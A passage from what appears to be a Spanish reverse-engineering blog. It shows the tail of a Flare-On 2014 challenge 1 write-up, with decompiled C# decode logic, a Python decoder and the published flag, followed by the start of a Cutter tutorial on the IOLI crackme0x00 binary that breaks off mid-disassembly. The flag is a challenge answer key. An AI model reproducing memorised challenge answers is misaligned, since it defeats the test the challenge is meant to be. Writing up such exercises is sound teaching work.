<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cs" data-lang="cs"><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System.Windows.Forms;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">namespace</span> XXXXXXXXXXXXXXX
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Token: 0x02000003 RID: 3</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">internal</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Program</span>
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x06000005 RID: 5 RVA: 0x000023A9 File Offset: 0x000005A9</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">		[STAThread]</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> Main()
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			Application.EnableVisualStyles();
</span></span><span style="display:flex;"><span>			Application.SetCompatibleTextRenderingDefault(<span style="color:#66d9ef">false</span>);
</span></span><span style="display:flex;"><span>			Application.Run(<span style="color:#66d9ef">new</span> Form1());
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>En el código vemos que se crea una nueva aplicación, una con Form1. Veamos que tenemos en Form1.Designer:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cs" data-lang="cs"><span style="display:flex;"><span><span style="color:#66d9ef">namespace</span> XXXXXXXXXXXXXXX
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Token: 0x02000002 RID: 2</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">public</span> <span style="color:#66d9ef">partial</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Form1</span> : <span style="color:#66d9ef">global</span>::System.Windows.Forms.Form
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x06000003 RID: 3 RVA: 0x0000215E File Offset: 0x0000035E</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">protected</span> <span style="color:#66d9ef">override</span> <span style="color:#66d9ef">void</span> Dispose(<span style="color:#66d9ef">bool</span> disposing)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> (disposing &amp;&amp; <span style="color:#66d9ef">this</span>.components != <span style="color:#66d9ef">null</span>)
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">this</span>.components.Dispose();
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.Dispose(disposing);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x06000004 RID: 4 RVA: 0x00002180 File Offset: 0x00000380</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">void</span> InitializeComponent()
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Windows.Forms.Label();
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Windows.Forms.PictureBox();
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">global</span>::System.Windows.Forms.Button button = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Windows.Forms.Button();
</span></span><span style="display:flex;"><span>			((<span style="color:#66d9ef">global</span>::System.ComponentModel.ISupportInitialize)<span style="color:#66d9ef">this</span>.pbRoge).BeginInit();
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.SuspendLayout();
</span></span><span style="display:flex;"><span>			button.Font = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Font(<span style="color:#e6db74">&#34;Microsoft Sans Serif&#34;</span>, <span style="color:#ae81ff">16f</span>, <span style="color:#66d9ef">global</span>::System.Drawing.FontStyle.Regular, <span style="color:#66d9ef">global</span>::System.Drawing.GraphicsUnit.Point, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>			button.Location = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Point(<span style="color:#ae81ff">210</span>, <span style="color:#ae81ff">387</span>);
</span></span><span style="display:flex;"><span>			button.Name = <span style="color:#e6db74">&#34;btnDecode&#34;</span>;
</span></span><span style="display:flex;"><span>			button.Size = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Size(<span style="color:#ae81ff">139</span>, <span style="color:#ae81ff">52</span>);
</span></span><span style="display:flex;"><span>			button.TabIndex = <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>			button.Text = <span style="color:#e6db74">&#34;DECODE!&#34;</span>;
</span></span><span style="display:flex;"><span>			button.UseVisualStyleBackColor = <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>			button.Click += <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.EventHandler(<span style="color:#66d9ef">this</span>.btnDecode_Click);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.AutoSize = <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.Font = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Font(<span style="color:#e6db74">&#34;Microsoft Sans Serif&#34;</span>, <span style="color:#ae81ff">20f</span>, <span style="color:#66d9ef">global</span>::System.Drawing.FontStyle.Regular, <span style="color:#66d9ef">global</span>::System.Drawing.GraphicsUnit.Point, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.Location = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Point(<span style="color:#ae81ff">95</span>, <span style="color:#ae81ff">18</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.Name = <span style="color:#e6db74">&#34;lbl_title&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.Size = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Size(<span style="color:#ae81ff">393</span>, <span style="color:#ae81ff">31</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.TabIndex = <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.Text = <span style="color:#e6db74">&#34;Let&#39;s start with something easy!&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.Image = <span style="color:#66d9ef">global</span>::XXXXXXXXXXXXXXX.Properties.Resources.bob_ross;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.Location = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Point(<span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">65</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.Name = <span style="color:#e6db74">&#34;pbRoge&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.Size = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Size(<span style="color:#ae81ff">401</span>, <span style="color:#ae81ff">316</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.TabIndex = <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.TabStop = <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.AutoScaleDimensions = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.SizeF(<span style="color:#ae81ff">6f</span>, <span style="color:#ae81ff">13f</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.AutoScaleMode = <span style="color:#66d9ef">global</span>::System.Windows.Forms.AutoScaleMode.Font;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.ClientSize = <span style="color:#66d9ef">new</span> <span style="color:#66d9ef">global</span>::System.Drawing.Size(<span style="color:#ae81ff">566</span>, <span style="color:#ae81ff">444</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.Controls.Add(<span style="color:#66d9ef">this</span>.pbRoge);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.Controls.Add(<span style="color:#66d9ef">this</span>.lbl_title);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.Controls.Add(button);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.FormBorderStyle = <span style="color:#66d9ef">global</span>::System.Windows.Forms.FormBorderStyle.Fixed3D;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.Name = <span style="color:#e6db74">&#34;Form1&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.Text = <span style="color:#e6db74">&#34;Form1&#34;</span>;
</span></span><span style="display:flex;"><span>			((<span style="color:#66d9ef">global</span>::System.ComponentModel.ISupportInitialize)<span style="color:#66d9ef">this</span>.pbRoge).EndInit();
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.ResumeLayout(<span style="color:#66d9ef">false</span>);
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">base</span>.PerformLayout();
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x04000001 RID: 1</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">global</span>::System.ComponentModel.IContainer components;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x04000002 RID: 2</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">global</span>::System.Windows.Forms.Label lbl_title;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x04000003 RID: 3</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">global</span>::System.Windows.Forms.PictureBox pbRoge;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Aquí ya tenemos algo mas de detalle sobre las características de la aplicación, vemos que tenemos un label llamado lbl_title y un cuadro de imagen llamada pbRoge. Al inicializarse, sus variables son asignadas, vemos que se crea un botón, con el contenido &ldquo;DECODE!&rdquo;, que tras recibir un evento de click, llama a this.btnDecode_Click.</p>
<p>El titulo tiene el mensaje &ldquo;Let&rsquo;s start with something easy!&rdquo; y en el contenido de la imagen tenemos una referencia a &ldquo;global::XXXXXXXXXXXXXXX.Properties.Resources.bob_ross&rdquo;, que por la parte final debe ser alguna imagen de bob_ross.</p>
<p>Finalmente, revisamos el contenido del ultimo archivo de código fuente, Form1:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cs" data-lang="cs"><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System.ComponentModel;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System.Drawing;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> System.Windows.Forms;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">using</span> XXXXXXXXXXXXXXX.Properties;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">namespace</span> XXXXXXXXXXXXXXX
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Token: 0x02000002 RID: 2</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">public</span> <span style="color:#66d9ef">partial</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Form1</span> : Form
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">public</span> Form1()
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.InitializeComponent();
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">private</span> <span style="color:#66d9ef">void</span> btnDecode_Click(<span style="color:#66d9ef">object</span> sender, EventArgs e)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.pbRoge.Image = Resources.bob_roge;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">byte</span>[] dat_secret = Resources.dat_secret;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">string</span> text = <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">foreach</span> (<span style="color:#66d9ef">byte</span> b <span style="color:#66d9ef">in</span> dat_secret)
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>				text += (<span style="color:#66d9ef">char</span>)((b &gt;&gt; <span style="color:#ae81ff">4</span> | ((<span style="color:#66d9ef">int</span>)b &lt;&lt; <span style="color:#ae81ff">4</span> &amp; <span style="color:#ae81ff">240</span>)) ^ <span style="color:#ae81ff">41</span>);
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			text += <span style="color:#e6db74">&#34;\0&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">string</span> text2 = <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> j = <span style="color:#ae81ff">0</span>; j &lt; text.Length; j += <span style="color:#ae81ff">2</span>)
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>				text2 += text[j + <span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span>				text2 += text[j];
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">string</span> text3 = <span style="color:#e6db74">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> k = <span style="color:#ae81ff">0</span>; k &lt; text2.Length; k++)
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">char</span> c = text2[k];
</span></span><span style="display:flex;"><span>				text3 += (<span style="color:#66d9ef">char</span>)((<span style="color:#66d9ef">byte</span>)text2[k] ^ <span style="color:#ae81ff">102</span>);
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">this</span>.lbl_title.Text = text3;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Como podemos observar por el código, este Form recibe el evento del botón y realiza un decoding de la información que se encuentra en dat_secret, si recordamos en la carpeta tenemos un archivo tipo data que incluye en su nombre &ldquo;dat_secret&rdquo;. También vemos que el valor de la imagen bob_ross, cambia a bob_roge.</p>
<p>Ejecutemos el binario para ver que sucede:</p>
<p><img src="/img/flareon2014-c1/bob_ross.png" alt="bob_ross"></p>
<p>Hagamos click sobre el botón de &ldquo;DECODE!&rdquo;, vemos que tanto el texto como la imagen cambian:</p>
<p><img src="/img/flareon2014-c1/bob_roge.png" alt="bob_roge"></p>
<p>El texto se ve ilegible, recordando que es el resultado del 3er decoding &ldquo;text3&rdquo;, hagamos el mismo proceso tomando la información del archivo &ldquo;rev_challenge_1.dat_secret.encode&rdquo; con el siguiente programa:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># En bash use: hexdump -e &#39;&#34;\\\x&#34; /1 &#34;%02x&#34;&#39; rev_challenge_1.dat_secret.encode</span>
</span></span><span style="display:flex;"><span>encode_data <span style="color:#f92672">=</span> bytearray(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\xa1\xb5\x44\x84\x14\xe4\xa1\xb5\xd4\x70\xb4\x91\xb4\x70\xd4\x91\xe4\xc4\x96\xf4\x54\x84\xb5\xc4\x40\x64\x74\x70\xa4\x64\x44</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>t1<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>t2<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>t3<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(len(encode_data)):
</span></span><span style="display:flex;"><span>    t1 <span style="color:#f92672">+=</span> chr(((encode_data[i] <span style="color:#f92672">&gt;&gt;</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">|</span> ((encode_data[i] <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">4</span>) <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">240</span>)) <span style="color:#f92672">^</span> <span style="color:#ae81ff">41</span>)
</span></span><span style="display:flex;"><span>print(t1)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, len(t1)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>    t2 <span style="color:#f92672">+=</span> t1[j<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>]
</span></span><span style="display:flex;"><span>    t2 <span style="color:#f92672">+=</span> t1[j]
</span></span><span style="display:flex;"><span>print(t2)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> k <span style="color:#f92672">in</span> range(len(t2)):
</span></span><span style="display:flex;"><span>    t3 <span style="color:#f92672">+=</span> chr(ord(t2[k]) <span style="color:#f92672">^</span> <span style="color:#ae81ff">102</span>)
</span></span><span style="display:flex;"><span>print(t3)
</span></span></code></pre></div><p>Este pequeño código lo que realiza es tomar procesar el binario encodeado y devolvernos las mismas operaciones de encoding. Tras ejecutarlo tenemos lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014/challenge01$ python3 decode.py
</span></span><span style="display:flex;"><span>3rmahg3rd.b0b.d0ge@flare-on.com
</span></span><span style="display:flex;"><span>r3amghr3.d0b.b0degf@alero-.noc
</span></span><span style="display:flex;"><span>U
</span></span><span style="display:flex;"><span> UHVHV&amp;
</span></span><span style="display:flex;"><span>	KH
</span></span></code></pre></div><p>Como podemos observar, el primer resultado corresponde a una dirección de correo, la cual es la flag de este reto.</p>
<p><strong>flag: <a href="mailto:3rmahg3rd.b0b.d0ge@flare-on.com">3rmahg3rd.b0b.d0ge@flare-on.com</a></strong></p>
<hr>
<p>Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Crackme0x00</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x00/</link><pubDate>Sat, 20 Oct 2018 00:07:58 -0500</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x00/</guid><description>&lt;p&gt;En la entrada anterior, descargamos y revisamos muy por encima lo que Cutter nos presentaba con sus paneles y ventanas. Hoy daremos inicio al análisis del primer crackme de IOLI&lt;/p&gt;</description><content type="html"><![CDATA[<p>En la entrada anterior, descargamos y revisamos muy por encima lo que Cutter nos presentaba con sus paneles y ventanas. Hoy daremos inicio al análisis del primer crackme de IOLI</p>
<p>En la entrada anterior, descargamos y revisamos muy por encima lo que Cutter nos presentaba con sus paneles y ventanas. Hoy daremos inicio al análisis del primer crackme de IOLI. Para la gente acostumbrada al Reversing, esto sera cosa de todos los días. Pero si eres nuevo, te invito a analizar a detalle lo que a continuación se presenta.</p>
<blockquote>
<p>Si estas completamente iniciando, te invito a leer el material (tutoriales, writeups, videos) que se ha escrito en la comunidad de CrackLatinos (CLS), es impresionante. En estos tutoriales omito algunas cosas mas asociadas a entender el detalle de las instrucciones y la estructura de los binarios.</p>
</blockquote>
<p>Comenzamos por iniciar Cutter y presionar &ldquo;Select&rdquo;, navegamos hasta la carpeta del crackme0x00 y lo seleccionamos. En mi caso queda de la siguiente manera:</p>
<p><img src="/img/cutter01/open.png" alt="Open"></p>
<p>Continuamos por dar a open y nos aparecerá la ventana de &ldquo;Load Options&rdquo;, de momento continuamos con los valores por defecto y damos a &ldquo;Load&rdquo;</p>
<p><img src="/img/cutter01/load.png" alt="Load"></p>
<p>Tras acabar la identificación y análisis de nuestro binario, nos deberá aparecer una ventana como la siguiente:</p>
<p><img src="/img/cutter01/initial-load.png" alt="initial-load"></p>
<h2 id="footprint">Footprint</h2>
<p>Iniciamos realizando una identificación y exploración del binario, por lo que cambiamos al panel de dashboard para ver que tenemos con este binario. La primera columna nos dice la siguiente información:</p>
<p><img src="/img/cutter01/info1.png" alt="info1"></p>
<p>Tenemos un formato ELF32, escrito en C. Continuamos con la siguiente columna:</p>
<p><img src="/img/cutter01/info2.png" alt="info2"></p>
<p>Primero tenemos que tiene 3 File Descriptors, la base address es 0x08048000 (con el ajuste a 0), es user-space, sin canarios ni crypto. No es estático, mas abajo veremos que tiene una biblioteca de la cual depende.</p>
<p><img src="/img/cutter01/info3.png" alt="info3"></p>
<p>Finalmente, en la tercera columna podemos observar que pertenece a una arquitectura i386 para Linux. Y como era de esperarse con intel, es little endian.</p>
<p><img src="/img/cutter01/info4.png" alt="info4"></p>
<p>La parte inferior nos indica que la entropía es moderadamente alta y que el binario depende de libc, lo cual lo convierte en LDD como se menciono atrás.</p>
<h2 id="entrypoints">Entrypoints</h2>
<p>Ok, antes de analizar la ventana de funciones, analizaremos cuantos puntos de entrada tiene este binario, para ello en la barra de menus seleccionaremos &ldquo;Windows-&gt;Entry Points&rdquo; lo cual nos abrirá una pestaña más en la parte inferior:</p>
<p><img src="/img/cutter01/entrypoints1.png" alt="entrypoints1"></p>
<p>Al seleccionar &ldquo;Entry Points&rdquo; en la parte inferior, observaremos que nos vamos a otro panel en donde solo tenemos una entrada, la cual apunta a la dirección 0x08048360, la cual también es etiquetada como entry0 y es la posición donde actualmente nos encontramos. Un punto importante que aun no he mencionado a detalle es que, en la parte superior se  encuentra la barra de address/section, que nos marca en rojo la posición y sección en la que nos encontramos actualmente, esto es bastante cómodo cuando queremos movernos rápidamente sobre .text o otras secciones.</p>
<blockquote>
<p><strong>Hit:</strong> Podemos dar click derecho sobre la barra de desplazamiento y nos abrirá un menú para seleccionar algún otra ventana que no tengamos en este momento, inclusive nos da un vistazo rápido a todas las ventanas posibles.</p>
</blockquote>
<h2 id="strings">Strings</h2>
<p>Continuamos aun sin ir a la ventana de funciones, esta vez pasaremos rápido por strings. Para ello damos a la pestaña de strings que se encuentra en la parte inferior:</p>
<p><img src="/img/cutter01/strings1.png" alt="strings1"></p>
<p>Como dato a analizar, las direcciones de los primeros strings son diferentes a los de los últimos. También podemos observar que aparecen algunos mensajes probablemente asociados a la ejecución.</p>
<p><img src="/img/cutter01/strings2.png" alt="strings2"></p>
<h2 id="funciones">Funciones</h2>
<p>Ahora si, la sección de funciones, en donde nos moveremos, renombraremos y predecimos que sucede durante la ejecución con ayuda del análisis estático.</p>
<p><img src="/img/cutter01/functions1.png" alt="functions1"></p>
<p>Podemos observar rápidamente, que ya radare2 identifico correctamente la función main, que tal como recordaremos es la función que se encuentra en todo programa escrito en <strong>C</strong>, y que ademas tiene la función de unir como pegamento todas las partes e iniciar el programa.</p>
<p>Como también podemos observar por la manera en la que se presentan los nombres de las funciones, algunas empiezan por &ldquo;sym.imp&rdquo;, indicándonos que han sido importadas. Esto se puede observar mas claramente si seleccionamos en el panel derecho la pestaña de &ldquo;Imports&rdquo; como aparece a continuación:</p>
<p><img src="/img/cutter01/functions2.png" alt="functions and imports"></p>
<p>También podemos ver que se marca en verde la función main, esto es debido a que se encuentra explícitamente creada dentro del código como veremos en otros crackmes. En negritas siempre estará marcado aquella posición en donde nos encontremos. Para ir a una función debemos dar doble click izquierdo, por lo que clickeamos a main:</p>
<p><img src="/img/cutter01/functions3.png" alt="goto-main"></p>
<p>Arriba de main, se encuentra una función llamada fcn.08048384, la cual recibe ese nombre tras no poder ser identificada como una función dinámica y se deja un nombre genérico que haga referencia a su ubicación dentro de la sección .text. Las funciones pueden ser renombradas dando click derecho y seleccionando &ldquo;rename&rdquo;, tal como veremos un poco mas adelante. Otras opciones importantes son &ldquo;xrefs&rdquo; y &ldquo;Add comment&rdquo; las cuales veremos mas a detalle un poco mas adelante.</p>
<p><img src="/img/cutter01/functions-options.png" alt="functions-options"></p>
<p>Continuemos con la siguiente parte, el Disassembly.</p>
<h2 id="desensamblador">Desensamblador</h2>
<p>Ok, la pestaña donde mas pasaremos tiempo analizando las instrucciones del binario, la del desensamblado del binario. Como podemos ver gracias al panel de funciones, ya nos encontramos en la función main y podemos analizar todo el código desensamblado de esta función:</p>
<p><img src="/img/cutter01/dis-main.png" alt="dis-main"></p>
<p>Lo primero que observamos es lo que sucede en la primera posición:</p>
<pre tabindex="0"><code class="language-assembly" data-lang="assembly">(fcn) main 127
  main (int argc, char **argv, char **envp);
          ; var char *s1 @ ebp-0x18
          ; var char *s2 @ esp+0x4
          0x08048414      push ebp
</code></pre><p>La función tiene dos variables, la primera bien definida detrás del <em>Base Pointer</em> por 0x18 y la otra sujeta al <em>Stack Pointer</em> por un más 0x4.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048414</span>      <span style="color:#66d9ef">push</span> <span style="color:#66d9ef">ebp</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048415</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">ebp</span>, <span style="color:#66d9ef">esp</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048417</span>      <span style="color:#66d9ef">sub</span> <span style="color:#66d9ef">esp</span>, <span style="color:#ae81ff">0x28</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804841a</span>      <span style="color:#66d9ef">and</span> <span style="color:#66d9ef">esp</span>, <span style="color:#ae81ff">0xfffffff0</span>
</span></span></code></pre></div><p>Las siguientes instrucciones corresponden al <em>Stack Frame</em> de main, en donde se reserva 0x28 entre el EBP y el ESP.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804841d</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048422</span>      <span style="color:#66d9ef">add</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0xf</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048425</span>      <span style="color:#66d9ef">add</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0xf</span>
